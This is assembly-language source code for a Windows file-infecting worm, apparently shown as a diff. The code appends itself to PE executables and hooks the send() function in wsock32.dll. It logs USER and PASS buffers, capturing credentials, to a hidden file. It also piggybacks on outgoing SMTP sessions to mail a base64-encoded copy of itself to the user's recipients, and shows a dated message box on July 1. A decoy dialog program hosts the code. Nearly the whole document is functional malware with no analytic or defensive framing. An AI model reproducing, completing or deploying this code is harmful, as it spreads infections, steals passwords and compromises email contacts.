OpenFile:+ push 0 ; template handle=0+ push 20h ; attributes=any file+ push 3 ; type= existing file+ push 0 ; security option = 0+ push 1 ; shared for read+ push 80000000h or 40000000h ; generic read write+ push esi ; offset file name+ lea eax, [ebp + ACreateFile]+ call GETAPI++ cmp eax, 0FFFFFFFFh+ je InfectionError+ mov [ebp + filehandle], eax++;-------------------------------[ map file ]---------------------------------;++ CreateFileMapping: ; allocates the memory+ push 0 ; filename handle = 0+ push dword ptr [ebp + memory] ; max size = memory+ push 0 ; minumum size = 0+ push 4 ; read / write access+ push 0 ; sec. attrbs= default+ push dword ptr [ebp + filehandle]+ lea eax, [ebp + ACreateFileMapping]+ call GETAPI ; eax = new map handle++ mov [ebp + maphandle], eax+ or eax, eax+ jz CloseFile++ MapViewOfFile:+ push dword ptr [ebp + memory] ; memory to map+ push 0 ; file offset+ push 0 ; file offset+ push 2 ; file map write mode+ push eax ; file map handle+ lea eax, [ebp + AMapViewOfFile] ; ok map the file+ call GETAPI++ or eax, eax+ jz CloseMap+ mov esi, eax ; esi= base of map+ mov [ebp + mapaddress], esi ; save that base++ DoSomeChecks:+ cmp word ptr [esi], 'ZM' ; an exe file?+ jne UnmapView+ cmp word ptr [esi + 38h], 'll' ; already infected?+ jne OkGo+ mov [ebp + infectionflag], 1 ; set infectionflag+ jmp UnmapView++ OkGo:+ mov ebx, dword ptr [esi + 3ch]+ cmp ebx, 200h+ ja UnmapView+ add ebx, esi+ cmp dword ptr [ebx], 'EP' ; is it a PE file ?+ jne UnmapView++ mov [ebp + PEheader], ebx ; save ra PE header+ mov esi, ebx+ mov eax, [esi + 34h]+ mov [ebp + imagebase], eax ; save imagebase++;------------------------------[ append section ]----------------------------;++ LocateBeginOfLastSection:+ movzx ebx, word ptr [esi + 20d] ; optional header size+ add ebx, 24d ; file header size+ movzx eax, word ptr [esi + 6h] ; no of sections+ dec eax ; (we want the last-1+ mov ecx, 28h ; sectionheader)+ mul ecx ; * header size+ add esi, ebx ; esi = begin of last+ add esi, eax ; section's header++ ChangeLastSectionHeader:+ or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h++ NewAlignedPhysicalSize:+ mov eax, dword ptr [esi + 10h] ; old phys size+ push eax ; save it++ add eax, Leap-Start+ mov ecx, [ebp + PEheader]+ mov ecx, [ecx + 38h]+ div ecx ; and align it to+ inc eax ; the sectionalign+ mul ecx+ mov dword ptr [esi + 10h], eax ; save it++ VirtualSizeCheck:+ mov edi, dword ptr [esi + 8h] ; get old+ cmp eax, edi ; virtualsize+ jge NewVirtualSize++ VirtualSizeIsVirtual:+ add edi, Leap-Start+ mov eax, edi+ mov ecx, [ebp + PEheader]+ mov ecx, [ecx + 38h]+ div ecx ; and align it to+ inc eax ; the sectionalign+ mul ecx++ NewVirtualSize:+ mov [esi + 8h], eax ; save new value++ NewAlignedImageSize:+ mov eax, dword ptr [esi + 0ch] ; get virtual offset+ add eax, dword ptr [esi + 8h] ; + new virtual size+ mov [ebp + imagesize], eax ; = new imagesize++ NewAlignedFileSize:+ mov eax, dword ptr [esi + 10h] ; get new phys size+ add eax, dword ptr [esi + 14h] ; add offset of phys+ mov ecx, [ebp + PEheader]+ mov ecx, [ecx + 3ch]+ div ecx ; and align it to+ inc eax ; the filealign+ mul ecx+ mov [ebp + filesize], eax ; size = filesize++ CalculateNewWsockApiAddress:+ pop eax+ push eax+ add eax, dword ptr [esi + 0ch] ; + virtual offset+ add eax, InterceptWsockApiCall - Start ; + ip+ mov [ebp + wnewapiaddress], eax ; new api address+ jmp HookDaApi++ HookDaApi:+ push esi+ call HOOK_API+ pop esi++ CopyVirusToEndOfFile:+ pop eax+ mov edi, eax+ add edi, [ebp + mapaddress] ; mapaddress+ add edi, [esi + 14h] ; add raw data offset+ lea esi, [ebp + Start] ; copy virus+ mov ecx, (Leap-Start)/4 + 4+ cld+ rep movsd++ UpdatePEHeaderWithChanges:+ mov esi, [ebp + mapaddress]+ mov word ptr [esi + 38h], 'll' ; set infectionmark+ mov esi, [ebp + PEheader]+ mov eax, [ebp + imagesize]+ mov [esi + 50h], eax ; set new imagesize++;--------------------------------[ unmap file ]------------------------------;++ UnmapView:+ push dword ptr [ebp + mapaddress]+ lea eax, [ebp + AUnmapViewOfFile]+ call GETAPI++ CloseMap:+ push dword ptr [ebp + maphandle]+ lea eax, [ebp + ACloseHandle]+ call GETAPI++ push 0+ push 0+ push dword ptr [ebp + filesize]+ push dword ptr [ebp + filehandle]+ lea eax, [ebp + ASetFilePointer]+ call GETAPI++ push dword ptr [ebp + filehandle]+ lea eax, [ebp + ASetEndOfFile]+ call GETAPI++;--------------------------------[ close file ]------------------------------;++ CloseFile:+ push dword ptr [ebp + myfinddata.fd_ftLastWriteTime]+ push dword ptr [ebp + myfinddata.fd_ftLastAccessTime]+ push dword ptr [ebp + myfinddata.fd_ftCreationTime]+ push dword ptr [ebp + filehandle]+ lea eax, [ebp + ASetFileTime]+ call GETAPI++ push [ebp + filehandle]+ lea eax, [ebp + ACloseHandle]+ call GETAPI++ InfectionError:+ push dword ptr [ebp + myfinddata.fd_dwFileAttributes]+ lea eax, [ebp + myfinddata.fd_cFileName]+ push eax+ lea eax, [ebp + ASetFileAttributes]+ call GETAPI+ ret++INFECT_FILE endp++;===========================[ ic-hook_api.inc ]=============================;++HOOK_API proc++ LoadWSockExportTableData:+ mov edi, [ebp + PEheader]+ mov esi, dword ptr [edi + 78h] ; rva export table++ mov edx, esi ; get RVA+ call RVA_TO_RAW+ mov esi, ecx+ mov eax, dword ptr [esi + 18h]+ mov [ebp + numberofnames], eax ; save number of names++ push esi+ mov eax, dword ptr [esi + 1Ch] ; get ra of table with++ mov edx, eax+ call RVA_TO_RAW+ mov eax, ecx ; pointers to funtion+ mov [ebp + addressoffunctions], eax ; addresses++ pop esi+ push esi+ mov eax, dword ptr [esi + 20h] ; get ra of table with++ mov edx, eax+ call RVA_TO_RAW+ mov eax, ecx ; pointers to names+ mov [ebp+addressofnames], eax ; of functions++ pop esi+ push esi++ mov eax, dword ptr [esi + 24h] ; get ra of table with+ mov edx, eax+ call RVA_TO_RAW+ mov eax, ecx ; pointers to ordinals+ mov [ebp+addressofordinals], eax ; of functions+ pop esi++ BeginSendAddressSearch:+ mov esi, [ebp + addressofnames] ; search for+ mov [ebp + AONindex], esi ; API in names+ mov edi, [esi] ; table++ mov edx, edi+ call RVA_TO_RAW+ mov edi, ecx+ xor ecx, ecx++ HookSendApi:+ lea ebx, [ebp + ASend]++ OkTryAgain:+ mov esi, ebx++ MatchByteNow:+ cmpsb+ jne NextOneNow+ cmp byte ptr [esi], 0 ; did the entire string+ je YesGotIt ; match ?+ jmp MatchByteNow++ NextOneNow:+ inc cx+ add dword ptr [ebp + AONindex], 4 ; get next namepointer+ mov esi, [ebp + AONindex] ; in table (4 dwords)+ mov edi, [esi]++ push ebx+ push ecx++ mov ebx, [ebp + mapaddress]+ mov edx, edi+ call RVA_TO_RAW+ mov edi, ecx++ pop ecx+ pop ebx+ jmp OkTryAgain++ YesGotIt:+ shl ecx, 1+ mov esi, [ebp + addressofordinals] ; ordinal = nameindex *+ add esi, ecx ; size of ordinal entry+ xor eax, eax ; + ordinal table base+ mov ax, word ptr [esi] ; offset of address+ shl eax, 2 ; of function = ordinal+ mov esi, [ebp + addressoffunctions] ; * size of entry of+ add esi, eax ; address table+ mov edi, dword ptr [esi] ; get address++ SaveNewWsockApiAddress:+ mov [ebp + woldapiaddress], edi ; save it++ ChangeWsock:+ mov eax, dword ptr [ebp + wnewapiaddress] ; new api address+ mov dword ptr [esi], eax ; set it+ ret++HOOK_API endp++;===========================[ ic-rva_to_raw.inc ]===========================;++RVA_TO_RAW proc++ ; In: edx - RVA to convert+ ; Out: ecx - Pointer to RAW data or NULL if error++ GetRaw:+ mov ebx, [ebp + mapaddress]+ mov [ebp + rva2raw], edx++ mov esi, dword ptr [ebx + 3ch]+ add esi, ebx ; esi=offset peheader+ xor ecx, ecx+ mov cx, word ptr [esi + 06h] ; ecx = nr. of sections+ xor edi, edi+ mov di, word ptr [esi + 20d] ; optional header size+ add esi, 24d ; file header size+ add edi, esi++ FindCorrespondingSection:+ mov eax, dword ptr [ebp + rva2raw] ; rva we want into raw+ mov edx, dword ptr [edi + 12d] ; section RVA+ sub eax, edx+ cmp eax, dword ptr [edi+08d] ; section size+ jb SectionFound++ NotThisSection:+ add edi, 40d+ loop FindCorrespondingSection++ EndRawSearch:+ ret++ SectionFound:+ mov ecx, dword ptr [edi+20d] ; pntr to section's raw+ sub edx, ecx ; data from beginning+ add ecx, eax ; of file+ add ecx, ebx+ ret++RVA_TO_RAW endp++;=========================[ ic-create_ini_file.inc ]========================;++CREATE_INI_FILE proc++ IniGetSetWindowsDir:+ call SET_WINDIR++ CreateInstallIni:+ push 0 ; template handle=0+ push 20h ; attributes=any file+ push 4 ; type= new file+ push 0 ; security option = 0+ push 1 ; shared for read+ push 80000000h or 40000000h ; generic read write+ lea eax, [ebp + inifile]+ push eax ; offset file name+ lea eax, [ebp + ACreateFile]+ call GETAPI+ mov [ebp + filehandle], eax++ SetIniFilePointerToEnd:+ push 02h+ push 00h+ push 00h+ push [ebp + filehandle]+ lea eax, [ebp + ASetFilePointer]+ call GETAPI+ mov dword ptr [ebp + writtensize], 00h++ WriteInstallIniLoop:+ lea esi, [ebp + inicrlf]+ xor ecx, ecx+ call StringSize+ call Write++ lea esi, [ebp + rename] ; write 'rename'+ mov word ptr [ebp + writtensize], 0Ah+ call Write++ lea esi, [ebp + sysdir] ; write systemdir+ xor ecx, ecx+ call StringSize+ call Write++ lea esi, [ebp + slashsign] ; write slash+ xor ecx, ecx+ call StringSize+ call Write++ WriteWsock32Dll:+ lea esi, [ebp + wsock32dll] ; write original dll+ xor ecx, ecx+ call StringSize+ call Write++ WriteOn:+ lea esi, [ebp + equalsign] ; write original dll+ xor ecx, ecx+ call StringSize+ call Write++ lea esi, [ebp + sysdir] ; write systemdir+ xor ecx, ecx+ call StringSize+ call Write++ lea esi, [ebp + slashsign] ; write slash+ xor ecx, ecx+ call StringSize+ call Write++ WriteInfectedWsock:+ lea esi, [ebp + wsock32inf] ; write original dll+ xor ecx, ecx+ call StringSize+ call Write+ jmp CloseInstallIni++ StringSize:+ cmp byte ptr [esi + ecx], 0h+ je GotSize+ inc ecx+ jmp StringSize++ GotSize:+ mov word ptr [ebp + writtensize], cx+ ret++ Write:+ push 0h+ lea eax, [ebp + writtenbytes]+ push eax+ xor eax, eax+ mov ax, word ptr [ebp + writtensize]+ push eax+ push esi+ push dword ptr [ebp + filehandle]+ lea eax, [ebp + AWriteFile]+ call GETAPI+ ret++ CloseInstallIni:+ lea esi, [ebp + inicrlf] ; write original dll+ xor ecx, ecx+ call StringSize+ call Write++ push dword ptr [ebp + filehandle]+ lea eax, [ebp + ACloseHandle]+ call GETAPI+ ret++CREATE_INI_FILE endp++;=========================[ ic-copy_host_file.inc ]=========================;++COPY_HOST_FILE proc++ GetCurrentHostPath:+ push 100h+ lea eax, [ebp + currentdir]+ push eax+ push 00h+ lea eax, [ebp + AGetModuleFileName]+ call GETAPI++ SetSysDirectory:+ call SET_SYSDIR++ CopyWormHostFile:+ push 00h+ lea eax, [ebp + wsock2]+ push eax+ lea eax, [ebp + currentdir]+ push eax+ lea eax, [ebp + ACopyFile]+ call GETAPI+ ret++COPY_HOST_FILE endp++;=========================[ ic-ws_intercept.inc ]===========================;++INTERCEPT_WSOCK proc++ InterceptWsockApiCall:+ push ebp+ call GetDelta++ GetDelta:+ pop ebp+ sub ebp, offset GetDelta+ pushad++ CheckStatus:+ mov eax, [esp+(8*4)+(1*4)+4 + 0] ; get send() socket+ mov [ebp + socketh], eax ; save it+ mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer+ mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer++ pushad+ call GET_GETPROCADDRESS_API_ADDRESS+ popad++ CheckForSecurityInfo:+ cmp [esi], 'RESU'+ je StoreBufferData+ cmp [esi], 'SSAP'+ jne DontStore++ StoreBufferData:+ pushad+ call WRITE_TO_FILE+ popad++ DontStore:+ cmp [ebp + status], 00h ; monitoring==true ?+ je CheckMailFrom ; yes, we are+ cmp [ebp + status], 02h+ je CheckRcptTo+ cmp [ebp + status], 03h+ je CheckMimeFrom+ cmp [ebp + status], 05h+ je CheckQuit+ jmp Continue++ CheckMailFrom:+ mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer+ mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer+ cmp [esi], 'LIAM'+ jne Continue++ StoreMailFromTag:+ pushad+ call WRITE_TO_FILE+ popad++ SaveMailFrom:+ mov [ebp + fromsize], ecx+ push ecx+ push esi++ push ecx+ push 00h+ lea eax, [ebp + AGlobalAlloc]+ call GETAPI++ or eax, eax+ jz ErrorWhileSending++ pop esi+ pop ecx+ mov [ebp + fromaddress], eax+ mov edi, eax+ rep movsb+ mov [ebp + status], 02h++ CheckRcptTo:+ mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer+ mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer+ cmp [esi], 'TPCR'+ jne CheckData++ AllocateRcptMemory:+ cmp [ebp + rcptnumber], 00h+ jne SaveRcptTo++ push ecx+ push esi++ push 500h+ push 00h+ lea eax, [ebp + AGlobalAlloc]+ call GETAPI+ or eax, eax+ jz ErrorWhileSending ; mem for rctp email+ mov [ebp + rcpt_buffer_address], eax ; addresses++ push 100h+ push 00h+ lea eax, [ebp + AGlobalAlloc]+ call GETAPI+ or eax, eax+ jz ErrorWhileSending ; mem for size of rctp+ mov [ebp + rcpt_size_address], eax ; email addresses++ pop esi+ pop ecx++ SaveRcptTo:+ push ecx ; store rcpt string+ mov edi, [ebp + rcpt_buffer_address]+ mov eax, [ebp + totalrcptsize]+ add edi, eax+ rep movsb+ pop ecx++ mov edi, [ebp + rcpt_size_address] ; store rcpt string size+ mov eax, [ebp + rcptnumber]+ mov edx, 04h+ mul edx+ add edi, eax+ mov dword ptr [edi], ecx++ mov eax, [ebp + totalrcptsize] ; calculate total size+ add eax, ecx ; of rcpts+ mov [ebp + totalrcptsize], eax++ mov eax, [ebp + rcptnumber] ; calculate number of+ add eax, 01h ; rcpt we have+ mov [ebp + rcptnumber], eax+ jmp Continue++ CheckData:+ mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer+ mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer+ cmp [esi], 'ATAD'+ jne Continue+ mov [ebp + status], 03h++ CheckMimeFrom:+ mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer+ mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer++ MimeFromLoop:+ lea edi, [ebp + fromtag]+ push ecx+ push esi+ mov ecx, 05h+ rep cmpsb+ pop esi+ pop ecx+ je SearchMimeFromEnd+ inc esi+ loop MimeFromLoop++ CheckMimeTo:+ mov esi, [esp+(8*4)+(1*4)+4 + 4]+ mov ecx, [esp+(8*4)+(1*4)+4 + 8]++ MimeToLoop:+ lea edi, [ebp + totag]+ push ecx+ push esi+ mov ecx, 03h+ rep cmpsb+ pop esi+ pop ecx+ je SearchMimeToEnd+ inc esi+ loop MimeToLoop+ jmp CheckQuit++ SearchMimeFromEnd:+ push esi++ FromEndLoop:+ lea edi, [ebp + mimeendtag]+ push ecx+ push esi+ mov ecx, 01h+ rep cmpsb+ pop esi+ pop ecx+ je SaveMimeFrom+ inc esi+ loop FromEndLoop++ pop esi+ jmp Continue++ SaveMimeFrom:+ mov eax, esi+ pop esi+ sub eax, esi+ mov ecx, eax+ add ecx, 03h+ mov [ebp + mimefromsize], ecx+ push esi+ push ecx++ push ecx+ push 00h+ lea eax, [ebp + AGlobalAlloc]+ call GETAPI+ or eax, eax+ jz MimeError+ mov [ebp + mimefrom_address], eax++ pop ecx+ pop esi+ mov edi, eax+ rep movsb++ mov [ebp + fromstatus], 01h+ cmp [ebp + tostatus], 01h+ jne CheckMimeTo+ mov [ebp + status], 05h+ jmp CheckQuit++ SearchMimeToEnd:+ push esi++ ToEndLoop:+ lea edi, [ebp + toendtag]+ push ecx+ push esi+ mov ecx, 08h+ rep cmpsb+ pop esi+ pop ecx+ je SaveMimeTo+ inc esi+ loop ToEndLoop++ pop esi+ jmp Continue++ SaveMimeTo:+ mov eax, esi+ pop esi+ sub eax, esi+ mov ecx, eax+ mov [ebp + mimetosize], ecx+ push esi+ push ecx++ push ecx+ push 00h+ lea eax, [ebp + AGlobalAlloc]+ call GETAPI+ or eax, eax+ jz MimeError+ mov [ebp + mimeto_address], eax++ pop ecx+ pop esi+ mov edi, eax+ rep movsb++ mov [ebp + tostatus], 01h+ cmp [ebp + fromstatus], 01h+ jne CheckMimeFrom+ mov [ebp + status], 05h+ jmp CheckQuit++ MimeError:+ pop ecx+ pop esi+ mov [ebp + status], 05h++ CheckQuit:+ mov esi, [esp+(8*4)+(1*4)+4 + 4]+ mov ecx, [esp+(8*4)+(1*4)+4 + 8]+ cmp [esi], 'TIUQ'+ jne Continue++ pushad+ call SEND_MAIL+ popad++ jmp InterceptionFinished++ ErrorWhileSending:+ pop esi+ pop ecx++ InterceptionFinished:+ mov [ebp + status], 00h+ mov [ebp + totalrcptsize], 00h+ mov [ebp + rcptnumber], 00h+ mov [ebp + tostatus], 00h+ mov [ebp + fromstatus], 00h+ jmp Continue++ Continue:+ popad+ lea eax, [ebp + InterceptWsockApiCall] ; get ep va+ sub eax, dword ptr [ebp + wnewapiaddress] ; - ep RVA+ add eax, dword ptr [ebp + woldapiaddress] ; = imagebase+ pop ebp+ jmp eax++INTERCEPT_WSOCK endp++;========================[ ic-ws_attachment.inc ]===========================;++PREPARE_ATTACHMENT proc++ SetSysDir:+ call SET_SYSDIR++ OpenSourceFile:+ push 0+ push 0+ push 3+ push 0+ push 0+ push 80000000h+ lea eax, [ebp + wsock2]+ push eax+ lea eax, [ebp + ACreateFile]+ call GETAPI+ mov [ebp + filehandle], eax ; save file handle+ cmp eax, -1+ je NoBase64Encode++ GetSourceFileSize:+ push 00h+ push dword ptr [ebp + filehandle]+ lea eax, [ebp + AGetFileSize]+ call GETAPI++ or eax, eax+ jz NoBase64Encode+ mov [ebp + filesize], eax ; get file size++ AllocateSourceMemory:+ add eax, 02h+ push eax+ push 00h+ lea eax, [ebp + AGlobalAlloc]+ call GETAPI++ or eax, eax+ jz NoBase64Encode ; not enough memory?+ mov [ebp + smHnd], eax ; sourcememory handle++ AllocateDestinationMemory:+ mov eax, [ebp + filesize]+ xor edx, edx+ mov ecx, 02h+ mul ecx+ push eax+ push 00h+ lea eax, [ebp + AGlobalAlloc]+ call GETAPI++ or eax, eax+ jz NoBase64Encode ; not enough memory?+ mov [ebp + dmHnd], eax ; destinationmemory handle++ ReadSourceFile:+ mov [ebp + bytesread], 00h++ push 00h+ lea eax, [ebp + bytesread]+ push eax+ push [ebp + filesize]+ push dword ptr [ebp + smHnd]+ push dword ptr [ebp + filehandle]+ lea eax, [ebp + AReadFile]+ call GETAPI++ mov eax, dword ptr [ebp + bytesread]+ or eax, eax+ jz NoBase64Encode ; nothing read ?++ CloseSourceFile:+ push dword ptr [ebp + filehandle] ; close the file+ lea eax, [ebp + ACloseHandle]+ call GETAPI++ EncodeSourceData:+ mov eax, dword ptr [ebp + smHnd]+ mov edx, dword ptr [ebp + dmHnd]+ mov ecx, dword ptr [ebp + filesize]+ call BASE64_ENCODER ; encode into Base64+ mov [ebp + encodedsize], ecx++ NoBase64Encode:+ ret++PREPARE_ATTACHMENT endp++;=========================[ ic-ws_b64encoder.inc ]==========================;++BASE64_ENCODER proc++ ; in: eax address of data to encode+ ; edx address to put encoded data+ ; ecx size of data to encode+ ;+ ; out: ecx size of encoded data+ ;++ CheckFileSize:+ push eax+ push edx+ push ecx+ mov eax, ecx+ xor edx, edx+ mov ecx, 03h+ div ecx+ pop ecx+ or edx, edx+ jz EncodeBase64++ AddTwoBytes:+ cmp edx, 01h+ jne AddOneByte+ add ecx, 02h+ jmp EncodeBase64++ AddOneByte:+ add ecx, 01h++ EncodeBase64:+ pop edx+ pop eax+ xor esi, esi+ lea edi, [ebp + encTable]+ push ebp+ xor ebp, ebp++ BaseLoop:+ xor ebx, ebx+ mov bl, byte ptr [eax]+ shr bl, 2+ and bl, 00111111b+ mov bh, byte ptr [edi+ebx]+ mov byte ptr [edx+esi], bh+ inc esi++ mov bx, word ptr [eax]+ xchg bl, bh+ shr bx, 4+ xor bh, bh+ and bl, 00111111b+ mov bh, byte ptr [edi+ebx]+ mov byte ptr [edx+esi], bh+ inc esi++ inc eax+ mov bx,word ptr [eax]+ xchg bl, bh+ shr bx, 6+ xor bh, bh+ and bl, 00111111b+ mov bh, byte ptr [edi+ebx]+ mov byte ptr [edx+esi], bh+ inc esi++ inc eax+ xor ebx, ebx+ mov bl, byte ptr [eax]+ and bl, 00111111b+ mov bh, byte ptr [edi+ebx]+ mov byte ptr [edx+esi], bh+ inc esi+ inc eax++ inc ebp+ cmp ebp, 24+ ja AddEndOfLine+ inc ebp++ AddedEndOfLine:+ sub ecx, 3+ or ecx, ecx+ jnz BaseLoop++ mov word ptr [edx+esi], 0a0dh+ add esi, 2+ mov ecx, esi+ pop ebp+ ret++ AddEndOfLine:+ xor ebp, ebp+ mov word ptr [edx+esi], 0a0dh+ add esi, 2+ jmp AddedEndOfLine++BASE64_ENCODER endp++;=======================[ ic-ws_write_to_file.inc ]=========================;++WRITE_TO_FILE proc++ StoreBuffer:+ push esi+ push ecx++ SetEmailDropDir:+ call SET_WINDIR++ CreateEmailDrop:+ push 0 ; template handle=0+ push 20h ; attributes=any file+ push 04h ; type= existing file+ push 0 ; security option = 0+ push 1 ; shared for read+ push 80000000h or 40000000h ; generic read write+ lea eax, [ebp + passwordfile]+ push eax ; offset file name+ lea eax, [ebp + ACreateFile]+ call GETAPI+ mov [ebp + filehandle], eax ; save file handle+ cmp eax, -1+ je BufferError++ SetDropPointer:+ push 2+ push 0+ push 0+ push dword ptr [ebp + filehandle] ; filehandle+ lea eax, [ebp + ASetFilePointer]+ call GETAPI++ pop ecx+ pop esi++ WriteBuffer:+ push 0h+ lea eax, [ebp + writtenbytes]+ push eax+ push ecx ; push buffersize+ push esi ; push offset buffer+ push dword ptr [ebp + filehandle]+ lea eax, [ebp + AWriteFile]+ call GETAPI++ CloseBufferFile:+ push dword ptr [ebp + filehandle]+ lea eax, [ebp + ACloseHandle]+ call GETAPI+ ret++ BufferError:+ pop ecx+ pop esi+ ret++WRITE_TO_FILE endp++;============================[ ic-send_mail.inc ]============================;++SEND_MAIL proc++ GetAllApiAddresses:+ call GET_WSOCK32_BASE_ADDRESS+ call GET_USER32_BASE_ADDRESS+ call PREPARE_ATTACHMENT++ mov eax, [ebp + filehandle]+ cmp eax, -1 ; attachment error+ je SendError++ AllocateEmailBufferMemory:+ mov eax, [ebp + encodedsize]+ mov ecx, 02h+ mul ecx+ push eax+ push 00h+ lea eax, [ebp + AGlobalAlloc]+ call GETAPI++ or eax, eax+ jz SendError ; mem for email+ mov [ebp + email_buffer_address], eax ; buffer++ SendMailFromTag:+ mov eax, dword ptr [ebp + fromaddress]+ mov ecx, dword ptr [ebp + fromsize]+ call SendCommand+ call ReceiveReply++ SendRcptToTags:+ xor ecx, ecx+ mov [ebp + totalrcptsize], 00h++ RcptSendLoop:+ push ecx++ mov edi, [ebp + rcpt_size_address]+ mov eax, ecx+ mov edx, 04h+ mul edx+ add edi, eax+ mov ecx, dword ptr [edi]++ mov esi, [ebp + rcpt_buffer_address]+ mov eax, [ebp + totalrcptsize]+ add esi, eax++ pushad+ mov eax, esi+ call SendCommand+ call ReceiveReply+ popad++ add eax, ecx+ mov [ebp + totalrcptsize], eax++ pop ecx+ inc ecx+ mov eax, [ebp + rcptnumber]+ cmp ecx, eax+ jne RcptSendLoop++ SendDataCommand:+ lea eax, [ebp + datatag]+ mov ecx, 06h+ call SendCommand+ call ReceiveReply++ EmailBody_EmailId:+ mov [ebp + email_size], 00h+ mov edi, [ebp + email_buffer_address]+ lea esi, [ebp + emailid]+ mov ecx, 21d+ add [ebp + email_size], ecx+ rep movsb++ EmailBody_EmailFrom:+ cmp [ebp + fromstatus], 01h+ jne EmailBody_MakeEmailFrom++ mov esi, [ebp + mimefrom_address]+ mov ecx, [ebp + mimefromsize]+ add [ebp + email_size], ecx+ rep movsb+ jmp EmailBody_EmailTo++ EmailBody_MakeEmailFrom:+ lea esi, [ebp + fromtag]+ mov ecx, 05h+ add [ebp + email_size], ecx+ rep movsb++ mov esi, dword ptr [ebp + fromaddress]+ add esi, 11d+ mov ecx, dword ptr [ebp + fromsize]+ sub ecx, 11d+ add [ebp + email_size], ecx+ rep movsb++ EmailBody_EmailTo:+ cmp [ebp + tostatus], 01h+ jne EmailBody_MakeEmailTo++ mov esi, [ebp + mimeto_address]+ mov ecx, [ebp + mimetosize]+ add [ebp + email_size], ecx+ rep movsb+ jmp EmailBody_EmailStartPart++ EmailBody_MakeEmailTo:+ lea esi, [ebp + totag]+ mov ecx, 03h+ add [ebp + email_size], ecx+ rep movsb++ xor ecx, ecx+ mov [ebp + totalrcptsize], 00h++ RcptStringLoop:+ push ecx++ push edi+ mov edi, [ebp + rcpt_size_address]+ mov eax, ecx+ mov edx, 04h+ mul edx+ add edi, eax+ mov ecx, dword ptr [edi]+ pop edi++ push ecx+ mov esi, [ebp + rcpt_buffer_address]+ mov eax, [ebp + totalrcptsize]+ add esi, eax+ add esi, 08h+ sub ecx, 08h+ add [ebp + email_size], ecx+ rep movsb++ pop ecx+ add eax, ecx+ mov [ebp + totalrcptsize], eax++ pop ecx+ inc ecx+ mov eax, [ebp + rcptnumber]+ cmp ecx, eax+ jne RcptStringLoop++ EmailBody_EmailStartPart:+ lea esi, [ebp + emailstart]+ mov ecx, emailend-emailstart+ add [ebp + email_size], ecx+ rep movsb++ EmailBody_EmailAttachement:+ mov esi, dword ptr [ebp + dmHnd]+ mov ecx, [ebp + encodedsize]+ add [ebp + email_size], ecx+ rep movsb++ EmailBody_EmailEndPart:+ lea esi, [ebp + emailtail]+ mov ecx, 17d+ add [ebp + email_size], ecx+ rep movsb++ EmailBody_EndTag:+ lea esi, [ebp + endtag]+ mov ecx, 05h+ add [ebp + email_size], ecx+ rep movsb++ SendEmailBody:+ mov eax, [ebp + email_buffer_address]+ mov ecx, [ebp + email_size]+ call SendCommand+ call ReceiveReply++ MessageBoxDay:+ lea eax, [ebp + timedate]+ push eax+ lea eax, [ebp + AGetSystemTime]+ call GETAPI++ xor eax, eax+ mov ax, word ptr [ebp + timedate.wMonth]+ cmp ax, 07h+ jne SendError+ mov ax, word ptr [ebp + timedate.wDay]+ cmp ax, 01h+ jne SendError++ MessageBoxPayload:+ mov eax, 0040h+ push eax+ lea eax, [ebp + windowtitle]+ push eax+ lea eax, [ebp + msgmessage]+ push eax+ push 00h+ lea eax, [ebp + AMessageBox]+ call GETUAPI++ SendError:+ ret++;-----------------------------[ send routine ]------------------------------;++ SendCommand:+ push eax++ push 0h+ push ecx+ push eax+ push dword ptr [ebp + socketh]+ lea eax, [ebp + ASend]+ call GETWAPI++ cmp eax, -1+ jne SendWentOk++ pop eax+ jmp SendCommand++ SendWentOk:+ pop eax+ ret++;--------------------------[ receive routine ]------------------------------;++ ReceiveReply:+ push LARGE 0+ push LARGE 60+ lea eax, [ebp + recvbuffer]+ push eax+ push dword ptr [ebp + socketh]+ lea eax, [ebp + ARecv]+ call GETWAPI ; call the api++ cmp eax, -1+ je ReceiveReply+ ret++SEND_MAIL endp++;****************************************************************************;++ Leap:++.code++ OriginalHost:+ push 0+ call GetModuleHandleA+ mov hInst, eax++ CreateProgressWindow:+ push 00h+ push offset MYDIALOG_0+ push 00h+ push 102+ push hInst+ call DialogBoxParamA++ CreateMainWindow:+ push 00h+ push offset MYDIALOG_1+ push 00h+ push 103+ push hInst+ call DialogBoxParamA++ Leave:+ push 0+ call ExitProcess++;============================[ ic-host_code.inc ]============================;++MYDIALOG_0 proc handle, umsg, wparam, lparam: dword++ CheckParameter:+ cmp [umsg], WM_INITDIALOG+ je CenterDlg+ cmp [umsg], WM_DESTROY+ je Exit+ cmp [umsg], WM_CLOSE+ je Exit+ cmp flag, 01h+ je CreateProgressThread+ cmp flag, 02h+ je Exit+ xor eax, eax+ ret++ CenterDlg:+ push offset dlgrect+ push handle+ call GetWindowRect+ call GetDesktopWindow+ push offset desktoprect+ push eax+ call GetWindowRect++ push 00h+ mov eax, dlgrect.rcBottom+ sub eax, dlgrect.rcTop+ mov dlgheight, eax+ push eax ; height+ mov eax, dlgrect.rcRight+ sub eax, dlgrect.rcLeft+ mov dlgwidth, eax ; width+ push eax+ mov eax, desktoprect.rcBottom+ sub eax, dlgheight+ shr eax, 1+ push eax ; bottom+ mov eax, desktoprect.rcRight+ sub eax, dlgwidth+ shr eax, 1+ push eax ; top+ push handle ; handle+ call MoveWindow ; move to center+ mov flag, 01h+ xor eax, eax+ ret++ CreateProgressThread:+ push offset threadid+ push 00h+ push handle+ push offset PROGRESS+ push 00h+ push 00h+ call CreateThread+ mov flag, 00h+ xor eax, eax+ ret++ Exit:+ push wparam+ push handle+ call EndDialog+ mov eax, 01h+ ret++MYDIALOG_0 endp++MYDIALOG_1 proc handle, umsg, wparam, lparam: dword++ CheckParameter1:+ cmp [umsg], WM_INITDIALOG+ je CenterDlg1+ cmp [umsg], WM_DESTROY+ je Exit1+ cmp [umsg], WM_CLOSE+ je Exit1+ cmp [umsg], WM_COMMAND+ je CheckCommand+ cmp [umsg], WM_VSCROLL+ je SpinButtonClick+ cmp initflag, 01h+ je InitValues+ xor eax, eax+ ret++ 